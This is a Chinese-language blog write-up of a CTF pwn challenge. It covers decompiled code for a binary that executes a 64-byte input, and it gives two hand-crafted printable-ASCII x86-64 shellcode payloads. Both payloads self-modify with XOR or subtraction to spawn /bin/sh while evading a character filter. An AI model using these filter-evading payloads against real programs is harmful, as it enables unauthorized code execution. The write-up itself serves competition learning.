avatar

目录
2020 NUAA CTF pwn6 baby shellcode writeup

好像是南航的校赛,没注册,赛后听binLep师傅说题比较好玩儿,就去耍了耍,看了最后一道pwn,题目不难,考点是ascii shellcode,限制只能用0x1f-0x7f的字符,还有就是buf长度只有0x40。好久没做题了,手都生了,做了一晚上才做出来QAQ,不过又学到不少关于ascii shellcode的新姿势,记笔记记笔记-> pwn notebook

pwn6 baby shellcode

  • 题目描述:

    nc 49.235.243.206 10506

  • 题目附件:pwn6

  • 考察点:手写 ascii shellcode

  • 难度:中等

程序分析

call rdx ida识别不出来,所以直接用cutter看啦

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
undefined8 main(void){
int64_t iVar1;
undefined8 uVar2;
int64_t in_FS_OFFSET;
undefined8 var_5ch;
void *buf;
int64_t canary;

iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
setvbuf(_reloc.stdin, 0, 2, 0);
setvbuf(_reloc.stdout, 0, 2, 0);
setvbuf(_reloc.stderr, 0, 2, 0);
var_5ch._0_4_ = read(0, &buf, 0x40);
while (var_5ch._0_4_ = (int32_t)var_5ch + -1, -1 < (int32_t)var_5ch) {
if (*(char *)((int64_t)&buf + (int64_t)(int32_t)var_5ch) < ' ') {
puts("I GOT YOU");
exit(0);
}
}
(*(code *)&buf)();
uVar2 = 0;
if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
uVar2 = __stack_chk_fail();
}
return uVar2;
}

shellcode的长度被限制为最多0x40字节,所以就要和自动ascii shellcode生成工具alpha3说拜拜啦

另外可输入的字符范围是0x1f-0x7f

代码中是通过char < 0x1f 进行判断的,超过0x7f就是负数,所以也不能用

解题思路

那就只能手动写ascii shellcode了呗~ 之前在DwagCTF遇到过一题,DawgCTF2020-trASCII,也是手写,但是长度限制没这题严格。

ascii shellcode有两个难点,一是构造/bin/sh字符串,二是构造syscall指令(0x050f)

二者都可以通过异或操作实现,难点在于如何布局。这道题的存储shellcode的buf在栈中,所以可以直接把/bin/sh写到栈中,然后通过一串的pop,把/bin/sh传给rdisyscall则可以通过先异或编码,然后在shellcode执行时解码还原出syscall

最后是写了一个38字节的shellcode,还算精简叭。

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
payload = asm('''
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push rsp
pop rdi

push 0x58585d57
pop rax
xor [rdx+38],rax

push 0x58
pop rax
xor [rdx+63],rax
xor al, 0x58
push rax
push rax
pop rdx
pop rsi
push 0x3b
pop rax

''').ljust(64-8,'X')

payload += '/bin/shX'

对了,这题还有一个坑点,就是输入的64个字节必须都在0x1f-0x7f这个范围内,即使是字符串末尾的\x00,也是不可以出现的,所以payload的长度要正好等于64字节。这样一来写在栈里的/bin/sh的末尾就没有\x00了,我解决的方法是写/bin/shX,然后末尾和X异或一下,还原出/bin/sh\0.

Exp

you can download full exp from my github

More

binLep师傅的做法很微妙,原文地址,用的是sub byte ptr [rsi + 0x45], dl这条指令,对应的ascii是'(V/'(微妙表情?)大概是先写好shellcode,然后用'(V/'挨个把不合法的字符怼成合法字符,tql.

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pd = asm('''
push 0x70
pop rdx
push rdi
push rdi
push rdi
sub byte ptr [rsi + 0x22], dl
sub byte ptr [rsi + 0x2a], dl
sub byte ptr [rsi + 0x2e], dl
sub byte ptr [rsi + 0x2f], dl
sub byte ptr [rsi + 0x45], dl
sub byte ptr [rsi + 0x45], dl
sub byte ptr [rsi + 0x45], dl
pop rsi
pop rsi
pop rdx
push 0x3b
pop rax
''')
pd += "\x48\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x70"
pd += asm("""
push rdi
push rsp
pop rdi
""")
pd += "\x7f\x75"
文章作者: TaQini
文章链接: http://taqini.space/2020/05/31/2020-NUAA-CTF-pwn6-baby-shellcode/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TaQini
打赏
  • Wechat
    Wechat
  • Alipay
    Alipay

评论